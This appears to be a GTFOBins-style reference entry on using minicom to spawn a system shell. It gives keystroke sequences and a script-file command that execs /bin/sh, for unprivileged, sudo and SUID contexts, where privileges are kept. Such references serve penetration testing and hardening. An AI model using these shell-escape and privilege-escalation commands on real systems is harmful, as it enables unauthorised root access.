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• Shell

Shell

This executable can spawn an interactive system shell.

• Comment

  Start the following command to open the TUI interface, then:

  1. press Ctrl-A o and select Filenames and paths;
  2. press e, type /bin/sh, then Enter;
  3. Press Esc twice;
  4. Press Ctrl-A k to drop the shell.

  After the shell, exit with Ctrl-A x.

  Unprivileged

  This function can be performed by any unprivileged user.

  minicom -D /dev/null

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  minicom -D /dev/null

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Comment

  Start the following command to open the TUI interface, then:

  1. press Ctrl-A o and select Filenames and paths;
  2. press e, type /bin/sh -p, then Enter;
  3. Press Esc twice;
  4. Press Ctrl-A k to drop the shell.

  After the shell, exit with Ctrl-A x.

  minicom -D /dev/null

• Comment

  After the shell, exit with Ctrl-A x.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
  minicom -D /dev/null -S /path/to/temp-file
  reset^J

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
  minicom -D /dev/null -S /path/to/temp-file
  reset^J

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
  minicom -D /dev/null -S /path/to/temp-file
  reset^J

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